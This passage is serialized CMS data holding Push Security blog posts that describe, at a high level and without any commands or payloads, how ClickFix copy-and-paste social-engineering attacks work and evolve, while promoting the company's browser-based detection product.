end-to-end process of a webpage loading/running in the browser, and how the user interacts with the page, to spot universal indicators of bad activity. ",{"data":93766,"content":93767,"nodeType":866},{},[93768],{"data":93769,"marks":93770,"value":93771,"nodeType":865},{},[],"This is the only reliable way to detect malicious websites in a world where IoC-based detections are trivial for attackers to get around. Rather than playing known-bad whac-a-mole, Push detects and blocks even zero-day browser threats in real time.",{"data":93773,"content":93774,"nodeType":866},{},[93775],{"data":93776,"marks":93777,"value":93778,"nodeType":865},{},[],"Push stops browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, ConsentFix, and session hijacking. You don’t need to wait until it all goes wrong either — you can also use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your identity attack surface.",{"data":93780,"content":93781,"nodeType":866},{},[93782,93785,93792,93795,93802],{"data":93783,"marks":93784,"value":32401,"nodeType":865},{},[],{"data":93786,"content":93787,"nodeType":882},{"uri":22700},[93788],{"data":93789,"marks":93790,"value":22706,"nodeType":865},{},[93791],{"type":997},{"data":93793,"marks":93794,"value":71034,"nodeType":865},{},[],{"data":93796,"content":93797,"nodeType":882},{"uri":1728},[93798],{"data":93799,"marks":93800,"value":22730,"nodeType":865},{},[93801],{"type":997},{"data":93803,"marks":93804,"value":1048,"nodeType":865},{},[],{"data":93806,"content":93810,"nodeType":925},{"target":93807},{"sys":93808},{"id":93809,"type":922,"linkType":923},"4D7zpYAc1tTEAmn2hpkWPe",[],{"data":93812,"content":93813,"nodeType":866},{},[93814],{"data":93815,"marks":93816,"value":21,"nodeType":865},{},[],"ConsentFix debrief: latest community insights, recommendations, and predictions","New insights on the ConsentFix campaign stopped by Push.","2026-01-14T00:00:00.000Z","consentfix-debrief",{"items":93822},[93823,93825],{"sys":93824,"name":342},{"id":8410},{"sys":93826,"name":11426},{"id":11425},{"items":93828},[93829],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":93830},{"url":11434},{"__typename":1788,"sys":93832,"content":93834,"title":94407,"synopsis":94408,"hashTags":59,"publishedDate":94409,"slug":94410,"tagsCollection":94411,"authorsCollection":94417},{"id":93833},"7rVNBW6rYXnXMpI0JEwzgR",{"json":93835},{"data":93836,"content":93837,"nodeType":1739},{},[93838,93845,93852,93864,93869,93876,93879,93887,93894,93900,93916,93923,93946,93953,93959,93962,93970,94002,94008,94027,94033,94052,94059,94065,94068,94076,94083,94103,94110,94130,94137,94143,94146,94154,94161,94194,94201,94208,94254,94272,94282,94289,94292,94300,94320,94327,94334,94340,94343,94350,94370,94396,94401],{"data":93839,"content":93840,"nodeType":866},{},[93841],{"data":93842,"marks":93843,"value":93844,"nodeType":865},{},[],"ClickFix attacks have skyrocketed in the last year. This social engineering attack has established itself as a key part of the modern attacker’s toolkit, tricking victims into running malicious code on their device.",{"data":93846,"content":93847,"nodeType":866},{},[93848],{"data":93849,"marks":93850,"value":93851,"nodeType":865},{},[],"As we showcased in our last webinar and at our threat briefing in London earlier this month, ClickFix is evolving fast, in terms of the web pages themselves, the delivery mechanisms by which they are sent to victims, and the nature of the payload and its execution.",{"data":93853,"content":93854,"nodeType":866},{},[93855,93859],{"data":93856,"marks":93857,"value":93858,"nodeType":865},{},[],"One particular example stood out to us in our research. ",{"data":93860,"marks":93861,"value":93863,"nodeType":865},{},[93862],{"type":961},"So, is this the most advanced ClickFix you’ve seen?",{"data":93865,"content":93868,"nodeType":925},{"target":93866},{"sys":93867},{"id":70496,"type":922,"linkType":923},[],{"data":93870,"content":93871,"nodeType":866},{},[93872],{"data":93873,"marks":93874,"value":93875,"nodeType":865},{},[],"Let’s break it down further.",{"data":93877,"content":93878,"nodeType":953},{},[],{"data":93880,"content":93881,"nodeType":963},{},[93882],{"data":93883,"marks":93884,"value":93886,"nodeType":865},{},[93885],{"type":961},"How ClickFix pages are evolving",{"data":93888,"content":93889,"nodeType":866},{},[93890],{"data":93891,"marks":93892,"value":93893,"nodeType":865},{},[],"The CloudFlare-based lure is a great example of how ClickFix pages themselves are evolving — and becoming increasingly convincing to users. ",{"data":93895,"content":93899,"nodeType":925},{"target":93896},{"sys":93897},{"id":93898,"type":922,"linkType":923},"4wJOgtofImjbsekyXMc5Ec",[],{"data":93901,"content":93902,"nodeType":866},{},[93903,93907,93912],{"data":93904,"marks":93905,"value":93906,"nodeType":865},{},[],"This is an incredibly slick example — ",{"data":93908,"marks":93909,"value":93911,"nodeType":865},{},[93910],{"type":961},"it almost looks like Cloudflare shipped a new kind of bot check service. ",{"data":93913,"marks":93914,"value":93915,"nodeType":865},{},[],"The embedded video, countdown timer, and counter for “users verified in the last hour” all serve to increase the sense of authenticity, and put extra pressure on the victim to complete the check. ",{"data":93917,"content":93918,"nodeType":866},{},[93919],{"data":93920,"marks":93921,"value":93922,"nodeType":865},{},[],"There are a couple of extra things happening under the hood here, too:",{"data":93924,"content":93925,"nodeType":1049},{},[93926,93936],{"data":93927,"content":93928,"nodeType":1003},{},[93929],{"data":93930,"content":93931,"nodeType":866},{},[93932],{"data":93933,"marks":93934,"value":93935,"nodeType":865},{},[],"The page is adapting to the device that you’re visiting from, serving up instructions specific to the user’s Mac (increasingly common as ClickFix expands to support different Operating Systems).",{"data":93937,"content":93938,"nodeType":1003},{},[93939],{"data":93940,"content":93941,"nodeType":866},{},[93942],{"data":93943,"marks":93944,"value":93945,"nodeType":865},{},[],"The page is automatically copying the malicious code to the user’s clipboard via JavaScript (which we see in 9/10 cases).",{"data":93947,"content":93948,"nodeType":866},{},[93949],{"data":93950,"marks":93951,"value":93952,"nodeType":865},{},[],"For the past decade or more, user awareness has focused on stopping users from clicking links in suspicious emails, downloading risky files, and entering their username and password into random websites. It hasn’t focused on opening up a program and running a command — so it’s no surprise that this kind of highly convincing page is so effective at duping victims into following the instructions. ",{"data":93954,"content":93958,"nodeType":925},{"target":93955},{"sys":93956},{"id":93957,"type":922,"linkType":923},"LiVIyGxdAaUXUfvKjD6ON",[],{"data":93960,"content":93961,"nodeType":953},{},[],{"data":93963,"content":93964,"nodeType":963},{},[93965],{"data":93966,"marks":93967,"value":93969,"nodeType":865},{},[93968],{"type":961},"How ClickFix delivery methods are evolving",{"data":93971,"content":93972,"nodeType":866},{},[93973,93977,93985,93989,93998],{"data":93974,"marks":93975,"value":93976,"nodeType":865},{},[],"There’s also the fact that this page wasn’t accessed via email. The top delivery vector for ClickFix attacks that we’ve observed is, in fact, Google Search — in the form of ",{"data":93978,"content":93979,"nodeType":882},{"uri":70507},[93980],{"data":93981,"marks":93982,"value":93984,"nodeType":865},{},[93983],{"type":997},"poisoned search results and malicious advertising (malvertising)",{"data":93986,"marks":93987,"value":93988,"nodeType":865},{},[],". Attackers are either taking over legitimate sites (there’s a ",{"data":93990,"content":93992,"nodeType":882},{"uri":93991},"https://www.bleepingcomputer.com/news/security/hackers-launch-mass-attacks-exploiting-outdated-wordpress-plugins/",[93993],{"data":93994,"marks":93995,"value":93997,"nodeType":865},{},[93996],{"type":997},"steady supply of website hosting and CMS vulnerabilities",{"data":93999,"marks":94000,"value":94001,"nodeType":865},{},[]," to take advantage of) or simply vibe-coding their own sites and optimizing them for various search terms. ",{"data":94003,"content":94007,"nodeType":925},{"target":94004},{"sys":94005},{"id":94006,"type":922,"linkType":923},"6N9EmH6AaN6Hr4xk6ozATR",[],{"data":94009,"content":94010,"nodeType":866},{},[94011,94015,94024],{"data":94012,"marks":94013,"value":94014,"nodeType":865},{},[],"And because most anti-phishing controls are implemented via email, by using ",{"data":94016,"content":94018,"nodeType":882},{"uri":94017},"https://pushsecurity.com/blog/why-attackers-are-moving-beyond-email-based-phishing?utm_source=thehackernews&utm_medium=sponsored-content&utm_term=article",[94019],{"data":94020,"marks":94021,"value":94023,"nodeType":865},{},[94022],{"type":997},"non-email delivery vectors, an entire layer of detection opportunity is cut out",{"data":94025,"marks":94026,"value":22525,"nodeType":865},{},[],{"data":94028,"content":94032,"nodeType":925},{"target":94029},{"sys":94030},{"id":94031,"type":922,"linkType":923},"1CWsZlLFX9TS53J1uamOG8",[],{"data":94034,"content":94035,"nodeType":866},{},[94036,94040,94048],{"data":94037,"marks":94038,"value":94039,"nodeType":865},{},[],"But even when they are sent via email, ClickFix pages, like other modern phishing sites, are using a range of ",{"data":94041,"content":94043,"nodeType":882},{"uri":94042},"https://pushsecurity.com/blog/phishing-detection-evasion-launch?utm_source=thehackernews&utm_medium=sponsored-content&utm_term=article",[94044],{"data":94045,"marks":94046,"value":29898,"nodeType":865},{},[94047],{"type":997},{"data":94049,"marks":94050,"value":94051,"nodeType":865},{},[]," that prevent them being flagged by security tools — from email scanners, to web-crawling security tools, to web proxies analyzing network traffic. Detection evasion mainly involves camouflaging and rotating domains to stay ahead of known-bad detections (i.e. blocklists), using bot protection to prevent analysis, and heavily obfuscating page content to stop detection signatures firing. ",{"data":94053,"content":94054,"nodeType":866},{},[94055],{"data":94056,"marks":94057,"value":94058,"nodeType":865},{},[],"Finally, because the code is copied inside the browser sandbox, typical security tools are unable to observe and flag this action as potentially malicious. This means that the last — and only — opportunity for organizations to stop ClickFix is on the endpoint, after the user has attempted to run the malicious code.",{"data":94060,"content":94064,"nodeType":925},{"target":94061},{"sys":94062},{"id":94063,"type":922,"linkType":923},"3HiqpIBWWMr5FMi3IBzXcc",[],{"data":94066,"content":94067,"nodeType":953},{},[],{"data":94069,"content":94070,"nodeType":963},{},[94071],{"data":94072,"marks":94073,"value":94075,"nodeType":865},{},[94074],{"type":961},"How ClickFix payloads are evolving",{"data":94077,"content":94078,"nodeType":866},{},[94079],{"data":94080,"marks":94081,"value":94082,"nodeType":865},{},[],"It’s not just the ClickFix page and delivery mechanisms that are evolving — the services where code is being run, and the type of payload, are also increasingly varied. ",{"data":94084,"content":94085,"nodeType":866},{},[94086,94090,94099],{"data":94087,"marks":94088,"value":94089,"nodeType":865},{},[],"While the main payloads observed by Push are mshta and PowerShell, ",{"data":94091,"content":94093,"nodeType":882},{"uri":94092},"https://mhaggis.github.io/ClickGrab/techniques.html",[94094],{"data":94095,"marks":94096,"value":94098,"nodeType":865},{},[94097],{"type":997},"attackers are abusing a wide range of LOLBINS",{"data":94100,"marks":94101,"value":94102,"nodeType":865},{},[]," targeting different services across Operating Systems.",{"data":94104,"content":94105,"nodeType":866},{},[94106],{"data":94107,"marks":94108,"value":94109,"nodeType":865},{},[],"While it is possible to disable the Win+R dialog box and limit the applications that can be run from the File Explorer address bar, it is not possible to similarly restrict users from interacting with other legitimate services to run malicious commands. ",{"data":94111,"content":94112,"nodeType":866},{},[94113,94117,94126],{"data":94114,"marks":94115,"value":94116,"nodeType":865},{},[],"Another recent example termed ",{"data":94118,"content":94120,"nodeType":882},{"uri":94119},"https://expel.com/blog/cache-smuggling-when-a-picture-isnt-a-thousand-words/",[94121],{"data":94122,"marks":94123,"value":94125,"nodeType":865},{},[94124],{"type":997},"cache smuggling",{"data":94127,"marks":94128,"value":94129,"nodeType":865},{},[]," was also identified by security researchers. This technique combines a ClickFix approach with JavaScript that caches a malicious file posing as a JPG. This means that the ClickFix command executes locally — effectively getting an entire zip file onto the local system without the PowerShell command needing to make any web requests.",{"data":94131,"content":94132,"nodeType":866},{},[94133],{"data":94134,"marks":94135,"value":94136,"nodeType":865},{},[],"Finally, it’s worth considering the future of ClickFix. The current attack path straddles browser and endpoint — what if it could take place entirely in the browser and evade EDR altogether? ",{"data":94138,"content":94142,"nodeType":925},{"target":94139},{"sys":94140},{"id":94141,"type":922,"linkType":923},"2rUDKawJnrmZVtxfNcSNha",[],{"data":94144,"content":94145,"nodeType":953},{},[],{"data":94147,"content":94148,"nodeType":963},{},[94149],{"data":94150,"marks":94151,"value":94153,"nodeType":865},{},[94152],{"type":961},"What’s the impact of ClickFix evolution?",{"data":94155,"content":94156,"nodeType":866},{},[94157],{"data":94158,"marks":94159,"value":94160,"nodeType":865},{},[],"To summarize:",{"data":94162,"content":94163,"nodeType":1049},{},[94164,94174,94184],{"data":94165,"content":94166,"nodeType":1003},{},[94167],{"data":94168,"content":94169,"nodeType":866},{},[94170],{"data":94171,"marks":94172,"value":94173,"nodeType":865},{},[],"ClickFix pages are becoming increasingly sophisticated, making it more likely that victims will fall for the social engineering.",{"data":94175,"content":94176,"nodeType":1003},{},[94177],{"data":94178,"content":94179,"nodeType":866},{},[94180],{"data":94181,"marks":94182,"value":94183,"nodeType":865},{},[],"ClickFix delivery is evading traditional monitoring controls at the email layer to reach victims. ",{"data":94185,"content":94186,"nodeType":1003},{},[94187],{"data":94188,"content":94189,"nodeType":866},{},[94190],{"data":94191,"marks":94192,"value":94193,"nodeType":865},{},[],"ClickFix payloads are becoming more varied and are finding new ways to evade security controls. ",{"data":94195,"content":94196,"nodeType":866},{},[94197],{"data":94198,"marks":94199,"value":94200,"nodeType":865},{},[],"This means that EDR-based interception of malware execution is the last — and only — real line of defense for most organizations, kicking in after the initial script has been run (typically acting as a stager for the real malware). ",{"data":94202,"content":94203,"nodeType":866},{},[94204],{"data":94205,"marks":94206,"value":94207,"nodeType":865},{},[],"Malware execution can and should be intercepted by EDR, but it’s not foolproof. ",{"data":94209,"content":94210,"nodeType":1049},{},[94211,94234,94244],{"data":94212,"content":94213,"nodeType":1003},{},[94214],{"data":94215,"content":94216,"nodeType":866},{},[94217,94221,94230],{"data":94218,"marks":94219,"value":94220,"nodeType":865},{},[],"Attackers are constantly ",{"data":94222,"content":94224,"nodeType":882},{"uri":94223},"https://www.infostealers.com/article/logins-zip-leverages-chromium-zero-day-stealthy-infostealer-builder-promises-99-credential-theft-in-under-12-seconds/",[94225],{"data":94226,"marks":94227,"value":94229,"nodeType":865},{},[94228],{"type":997},"developing new tools and capabilities",{"data":94231,"marks":94232,"value":94233,"nodeType":865},{},[]," to bypass EDR in the cat-and-mouse game between attackers and defenders.",{"data":94235,"content":94236,"nodeType":1003},{},[94237],{"data":94238,"content":94239,"nodeType":866},{},[94240],{"data":94241,"marks":94242,"value":94243,"nodeType":865},{},[],"Because ClickFix attacks are user initiated, context might be missing that lead to the alert being misclassified. This can mean the difference between the level of priority alert that is raised, and whether or not it is automatically blocked.",{"data":94245,"content":94246,"nodeType":1003},{},[94247],{"data":94248,"content":94249,"nodeType":866},{},[94250],{"data":94251,"marks":94252,"value":94253,"nodeType":865},{},[],"If you’re an organization that allows employees and contractors to use unmanaged BYOD devices, there’s a strong chance that there are gaps in your EDR coverage.",{"data":94255,"content":94256,"nodeType":866},{},[94257,94261,94268],{"data":94258,"marks":94259,"value":94260,"nodeType":865},{},[],"This is why attackers are doubling down. According to the ",{"data":94262,"content":94263,"nodeType":882},{"uri":74512},[94264],{"data":94265,"marks":94266,"value":94267,"nodeType":865},{},[],"2025 Microsoft Digital Defense report",{"data":94269,"marks":94270,"value":94271,"nodeType":865},{},[],", ClickFix was the most common initial access method in the last year, accounting for 47% of attacks. That's a pretty significant stat.",{"data":94273,"content":94274,"nodeType":11214},{},[94275],{"data":94276,"content":94277,"nodeType":866},{},[94278],{"data":94279,"marks":94280,"value":94281,"nodeType":865},{},[],"47% of attacks started with ClickFix in the last year, according to Microsoft.",{"data":94283,"content":94284,"nodeType":866},{},[94285],{"data":94286,"marks":94287,"value":94288,"nodeType":865},{},[],"Ultimately, organizations are leaving themselves relying on a single line of defense — if the attack isn’t detected and blocked by EDR, it isn’t spotted at all. ",{"data":94290,"content":94291,"nodeType":953},{},[],{"data":94293,"content":94294,"nodeType":963},{},[94295],{"data":94296,"marks":94297,"value":94299,"nodeType":865},{},[94298],{"type":961},"Don’t gamble on a single point of failure ",{"data":94301,"content":94302,"nodeType":866},{},[94303,94307,94316],{"data":94304,"marks":94305,"value":94306,"nodeType":865},{},[],"Push Security’s latest feature, ",{"data":94308,"content":94310,"nodeType":882},{"uri":94309},"https://pushsecurity.com/blog/introducing-malicious-copy-paste-detection?utm_source=thehackernews&utm_medium=sponsored-content&utm_term=article",[94311],{"data":94312,"marks":94313,"value":94315,"nodeType":865},{},[94314],{"type":997},"malicious copy and paste detection",{"data":94317,"marks":94318,"value":94319,"nodeType":865},{},[],", tackles ClickFix-style attacks at the earliest opportunity through browser-based detection and blocking. This is a universally effective control that works regardless of the lure delivery channel, page style and structure, or the specifics of the malware type and execution.",{"data":94321,"content":94322,"nodeType":866},{},[94323],{"data":94324,"marks":94325,"value":94326,"nodeType":865},{},[],"Unlike heavy-handed DLP solutions that block copy-paste altogether, Push protects your employees without disrupting their user experience or hampering productivity.",{"data":94328,"content":94329,"nodeType":866},{},[94330],{"data":94331,"marks":94332,"value":94333,"nodeType":865},{},[],"By adding a new layer of protection in the browser, security teams can reduce the strain on their EDR and reduce the risk of host-based controls being bypassed through misconfiguration or attacker innovation. ",{"data":94335,"content":94339,"nodeType":925},{"target":94336},{"sys":94337},{"id":94338,"type":922,"linkType":923},"sALkMt8UbTZ2f34hKvGLj",[],{"data":94341,"content":94342,"nodeType":953},{},[],{"data":94344,"content":94345,"nodeType":963},{},[94346],{"data":94347,"marks":94348,"value":16192,"nodeType":865},{},[94349],{"type":961},{"data":94351,"content":94352,"nodeType":866},{},[94353,94357,94366],{"data":94354,"marks":94355,"value":94356,"nodeType":865},{},[],"If you want to learn more about ClickFix attacks and how they’re evolving, ",{"data":94358,"content":94360,"nodeType":882},{"uri":94359},"https://pushsecurity.com/resources/clickfix",[94361],{"data":94362,"marks":94363,"value":94365,"nodeType":865},{},[94364],{"type":997},"check out our latest webinar (now available on-demand!)",{"data":94367,"marks":94368,"value":94369,"nodeType":865},{},[]," where we dive into real-world ClickFix examples and demonstrate how ClickFix sites work under the hood. ",{"data":94371,"content":94372,"nodeType":866},{},[94373,94376,94383,94386,94393],{"data":94374,"marks":94375,"value":32401,"nodeType":865},{},[],{"data":94377,"content":94378,"nodeType":882},{"uri":22700},[94379],{"data":94380,"marks":94381,"value":22706,"nodeType":865},{},[94382],{"type":997},{"data":94384,"marks":94385,"value":71034,"nodeType":865},{},[],{"data":94387,"content":94388,"nodeType":882},{"uri":1728},[94389],{"data":94390,"marks":94391,"value":22730,"nodeType":865},{},[94392],{"type":997},{"data":94394,"marks":94395,"value":1048,"nodeType":865},{},[],{"data":94397,"content":94400,"nodeType":925},{"target":94398},{"sys":94399},{"id":93957,"type":922,"linkType":923},[],{"data":94402,"content":94403,"nodeType":866},{},[94404],{"data":94405,"marks":94406,"value":21,"nodeType":865},{},[],"The most advanced ClickFix yet?","Breaking down the most sophisticated ClickFix page we’ve seen in the wild — and what it tells us about the future of malicious copy-and-paste attacks. ","2025-11-06T00:00:00.000Z","the-most-advanced-clickfix-yet",{"items":94412},[94413,94415],{"sys":94414,"name":342},{"id":8410},{"sys":94416,"name":11426},{"id":11425},{"items":94418},[94419],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":94420},{"url":11434},{"__typename":1788,"sys":94422,"content":94423,"title":91117,"synopsis":95041,"hashTags":59,"publishedDate":95042,"slug":91118,"tagsCollection":95043,"authorsCollection":95049},{"id":90823},{"json":94424},{"data":94425,"content":94426,"nodeType":1739},{},[94427,94472,94529,94544,94549,94556,94559,94567,94574,94581,94588,94608,94615,94621,94639,94645,94648,94656,94663,94671,94690,94697,94704,94711,94719,94726,94733,94739,94746,94779,94785,94793,94812,94819,94842,94849,94856,94862,94869,94872,94880,94894,94913,94920,94927,94934,94939,94947,94966,94969,94976,94983,94990,94997,95004,95030,95035],{"data":94428,"content":94429,"nodeType":866},{},[94430,94434,94442,94446,94455,94459,94468],{"data":94431,"marks":94432,"value":94433,"nodeType":865},{},[],"One of the biggest security trends in the past year has been the emergence of the attack technique known as ",{"data":94435,"content":94437,"nodeType":882},{"uri":94436},"https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/",[94438],{"data":94439,"marks":94440,"value":315,"nodeType":865},{},[94441],{"type":997},{"data":94443,"marks":94444,"value":94445,"nodeType":865},{},[],". Various reports indicate that ClickFix is fast becoming one of the most prevalent attack techniques this year, with ",{"data":94447,"content":94449,"nodeType":882},{"uri":94448},"https://www.scworld.com/news/clickfix-phishing-links-increased-nearly-400-in-12-months-report-says",[94450],{"data":94451,"marks":94452,"value":94454,"nodeType":865},{},[94453],{"type":997},"one study",{"data":94456,"marks":94457,"value":94458,"nodeType":865},{},[]," reporting that email-based ClickFix attacks have increased by 400% YOY, and ",{"data":94460,"content":94462,"nodeType":882},{"uri":94461},"https://web-assets.esetstatic.com/wls/en/papers/threat-reports/eset-threat-report-h12025.pdf",[94463],{"data":94464,"marks":94465,"value":94467,"nodeType":865},{},[94466],{"type":997},"another",{"data":94469,"marks":94470,"value":94471,"nodeType":865},{},[]," highlighting a 517% increase in the past 6 months. ",{"data":94473,"content":94474,"nodeType":866},{},[94475,94479,94488,94491,94500,94503,94512,94516,94525],{"data":94476,"marks":94477,"value":94478,"nodeType":865},{},[],"ClickFix is known to be regularly used by the Interlock ransomware group and other prolific threat actors. A number of recent public data breaches have been linked to ClickFix attacks as the attack vector, such as ",{"data":94480,"content":94482,"nodeType":882},{"uri":94481},"https://www.bleepingcomputer.com/news/security/kettering-health-confirms-interlock-ransomware-behind-cyberattack/",[94483],{"data":94484,"marks":94485,"value":94487,"nodeType":865},{},[94486],{"type":997},"Kettering Health",{"data":94489,"marks":94490,"value":2186,"nodeType":865},{},[],{"data":94492,"content":94494,"nodeType":882},{"uri":94493},"https://www.bleepingcomputer.com/news/security/interlock-ransomware-claims-davita-attack-leaks-stolen-data/",[94495],{"data":94496,"marks":94497,"value":94499,"nodeType":865},{},[94498],{"type":997},"DaVita",{"data":94501,"marks":94502,"value":2186,"nodeType":865},{},[],{"data":94504,"content":94506,"nodeType":882},{"uri":94505},"https://www.infosecurity-magazine.com/news/st-paul-mayor-interlock-data-leak/",[94507],{"data":94508,"marks":94509,"value":94511,"nodeType":865},{},[94510],{"type":997},"City of St. Paul, Minnesota",{"data":94513,"marks":94514,"value":94515,"nodeType":865},{},[],", and the ",{"data":94517,"content":94519,"nodeType":882},{"uri":94518},"https://www.blackfog.com/texas-tech-cyberattack-1-4m-records-compromised/",[94520],{"data":94521,"marks":94522,"value":94524,"nodeType":865},{},[94523],{"type":997},"Texas Tech University Health Sciences Centers",{"data":94526,"marks":94527,"value":94528,"nodeType":865},{},[]," (with many more breaches likely to involve ClickFix where the attack vector wasn’t known or disclosed).",{"data":94530,"content":94531,"nodeType":866},{},[94532,94536,94540],{"data":94533,"marks":94534,"value":94535,"nodeType":865},{},[],"Push’s latest feature, ",{"data":94537,"marks":94538,"value":94315,"nodeType":865},{},[94539],{"type":961},{"data":94541,"marks":94542,"value":94543,"nodeType":865},{},[],", tackles ClickFix-style attacks at the earliest opportunity through browser-based detection, with a universally effective control that works regardless of the lure delivery channel, or page style and structure. ",{"data":94545,"content":94548,"nodeType":925},{"target":94546},{"sys":94547},{"id":94338,"type":922,"linkType":923},[],{"data":94550,"content":94551,"nodeType":866},{},[94552],{"data":94553,"marks":94554,"value":94555,"nodeType":865},{},[],"Before we get into the specifics of the feature, let’s take a look at what ClickFix is and why it poses a detection and response challenge to security teams.",{"data":94557,"content":94558,"nodeType":953},{},[],{"data":94560,"content":94561,"nodeType":963},{},[94562],{"data":94563,"marks":94564,"value":94566,"nodeType":865},{},[94565],{"type":961},"ClickFix 101",{"data":94568,"content":94569,"nodeType":866},{},[94570],{"data":94571,"marks":94572,"value":94573,"nodeType":865},{},[],"ClickFix attacks prompt the user to solve some kind of problem or challenge in the browser — most commonly a CAPTCHA, but also things like fixing an error on a webpage. The name is a little misleading though — the key factor in the attack is that they trick users into running malicious commands on their device by copying malicious code from the page clipboard and running it locally. (For simplicity we’ll keep calling it ClickFix, but we’re not happy about it.)",{"data":94575,"content":94576,"nodeType":866},{},[94577],{"data":94578,"marks":94579,"value":94580,"nodeType":865},{},[],"The copy action is either performed manually by the user, or automatically by the page. Manual copies typically include additional social engineering to lure the victim into hitting CTRL+C, while automatic copies are performed using JavaScript running on the page. Most ClickFix pages we've seen are automatic copies, which makes sense — fewer steps means the user is more likely to follow the instruction.",{"data":94582,"content":94583,"nodeType":866},{},[94584],{"data":94585,"marks":94586,"value":94587,"nodeType":865},{},[],"Most commonly, these attacks are used to deliver remote access software or infostealer malware using stolen session cookies and credentials to facilitate attacks on business apps and services. From there, the attacker simply dumps the data and holds the victim to ransom for its deletion — often dropping ransomware afterwards for double the extortion. ",{"data":94589,"content":94590,"nodeType":866},{},[94591,94595,94604],{"data":94592,"marks":94593,"value":94594,"nodeType":865},{},[],"The attack gives the victim instructions that involve clicking prompts and copying, pasting, and running commands directly in the Windows Run dialog box, Terminal, or PowerShell in order to “fix” the fake problem that they’re experiencing. Variants such as ",{"data":94596,"content":94598,"nodeType":882},{"uri":94597},"https://mrd0x.com/filefix-clickfix-alternative/",[94599],{"data":94600,"marks":94601,"value":94603,"nodeType":865},{},[94602],{"type":997},"FileFix",{"data":94605,"marks":94606,"value":94607,"nodeType":865},{},[]," have also emerged which instead use the File Explorer Address Bar to execute OS commands.",{"data":94609,"content":94610,"nodeType":866},{},[94611],{"data":94612,"marks":94613,"value":94614,"nodeType":865},{},[],"Links to malicious ClickFix pages are distributed over various delivery channels, with attacks shifting from traditional email-based delivery to social media, instant messaging apps, malicious ads in places like Google Search, and using in-app notifications and messages across numerous SaaS services. ",{"data":94616,"content":94620,"nodeType":925},{"target":94617},{"sys":94618},{"id":94619,"type":922,"linkType":923},"1I9ERDY2tuspw5zVMV5DbY",[],{"data":94622,"content":94623,"nodeType":866},{},[94624,94628,94635],{"data":94625,"marks":94626,"value":94627,"nodeType":865},{},[],"ClickFix comes in a variety of lures, including impersonating CAPTCHA, Cloudflare Turnstile, simulating an error loading a webpage, and many more. They have also been observed targeting a ",{"data":94629,"content":94630,"nodeType":882},{"uri":94092},[94631],{"data":94632,"marks":94633,"value":94634,"nodeType":865},{},[],"wide range of services",{"data":94636,"marks":94637,"value":94638,"nodeType":865},{},[]," to execute code. ",{"data":94640,"content":94644,"nodeType":925},{"target":94641},{"sys":94642},{"id":94643,"type":922,"linkType":923},"1SG52ta1hcBZ3gYDsSJvsm",[],{"data":94646,"content":94647,"nodeType":953},{},[],{"data":94649,"content":94650,"nodeType":963},{},[94651],{"data":94652,"marks":94653,"value":94655,"nodeType":865},{},[94654],{"type":961},"Why are ClickFix attacks so effective?",{"data":94657,"content":94658,"nodeType":866},{},[94659],{"data":94660,"marks":94661,"value":94662,"nodeType":865},{},[],"To understand the effectiveness of ClickFix-style attacks, we need to look more closely at the mechanisms that security teams have at their disposal to counter these attacks. ",{"data":94664,"content":94665,"nodeType":1458},{},[94666],{"data":94667,"marks":94668,"value":94670,"nodeType":865},{},[94669],{"type":961},"Detection challenges during delivery",{"data":94672,"content":94673,"nodeType":866},{},[94674,94678,94686],{"data":94675,"marks":94676,"value":94677,"nodeType":865},{},[],"We’ve written extensively about ",{"data":94679,"content":94680,"nodeType":882},{"uri":8821},[94681],{"data":94682,"marks":94683,"value":94685,"nodeType":865},{},[94684],{"type":997},"the evolution in phishing techniques and tooling",{"data":94687,"marks":94688,"value":94689,"nodeType":865},{},[],", and what this means for the reliability of traditional detections at the network and endpoint layer. ",{"data":94691,"content":94692,"nodeType":866},{},[94693],{"data":94694,"marks":94695,"value":94696,"nodeType":865},{},[],"The latest generation of phishing pages are dynamically obfuscating the code that loads the web page, implementing custom bot protection (e.g. CAPTCHA or Cloudflare Turnstile), using runtime anti-analysis features, and using legitimate SaaS and cloud services to host and deliver phishing links to cover their tracks.",{"data":94698,"content":94699,"nodeType":866},{},[94700],{"data":94701,"marks":94702,"value":94703,"nodeType":865},{},[],"This means that traditional anti-phishing tools at the email and network layer are struggling to keep up, with many attacks evading email-based detections (or bypassing email altogether). At the same time, proxy-based solutions now see a garbled mess of JavaScript code without the necessary context of what is actually happening in the browser to be able to piece it together effectively. Even if they don’t realize it, this means many organizations are now relying solely on blocking known-bad sites and hosts — a wildly ineffective solution in 2025 with the rate that attackers refresh and rotate their phishing infrastructure. ",{"data":94705,"content":94706,"nodeType":866},{},[94707],{"data":94708,"marks":94709,"value":94710,"nodeType":865},{},[],"In addition to the fact that ClickFix page styles and content can vary significantly, this means that detecting ClickFix delivery using traditional tooling is highly unreliable. ",{"data":94712,"content":94713,"nodeType":1458},{},[94714],{"data":94715,"marks":94716,"value":94718,"nodeType":865},{},[94717],{"type":961},"Detection challenges during execution",{"data":94720,"content":94721,"nodeType":866},{},[94722],{"data":94723,"marks":94724,"value":94725,"nodeType":865},{},[],"Most of the detection heavy lifting is being done at the endpoint, looking for user-level code execution and malware running on a device. ",{"data":94727,"content":94728,"nodeType":866},{},[94729],{"data":94730,"marks":94731,"value":94732,"nodeType":865},{},[],"However, the number of ClickFix-related headlines in the news would indicate that endpoint controls are being routinely bypassed, or perhaps evaded altogether by targeting personal or BYOD devices. ",{"data":94734,"content":94738,"nodeType":925},{"target":94735},{"sys":94736},{"id":94737,"type":922,"linkType":923},"pocty4OhER5EXr8BDwdzo",[],{"data":94740,"content":94741,"nodeType":866},{},[94742],{"data":94743,"marks":94744,"value":94745,"nodeType":865},{},[],"There are a number of reasons that endpoint-level ClickFix detections can be bypassed:",{"data":94747,"content":94748,"nodeType":1049},{},[94749,94759,94769],{"data":94750,"content":94751,"nodeType":1003},{},[94752],{"data":94753,"content":94754,"nodeType":866},{},[94755],{"data":94756,"marks":94757,"value":94758,"nodeType":865},{},[],"The step of downloading a file from the web is bypassed altogether. In a ClickFix/FileFix attack, the initial “dropper” is essentially a command string provided by the attacker and executed by legitimate system utilities. There is often no new executable file written to disk when the user runs the command. The final payload may be loaded directly into memory or injected into trusted programs (using living-off-the-land techniques). Without a file to quarantine, there's no \"Mark of the Web\" to make it appear 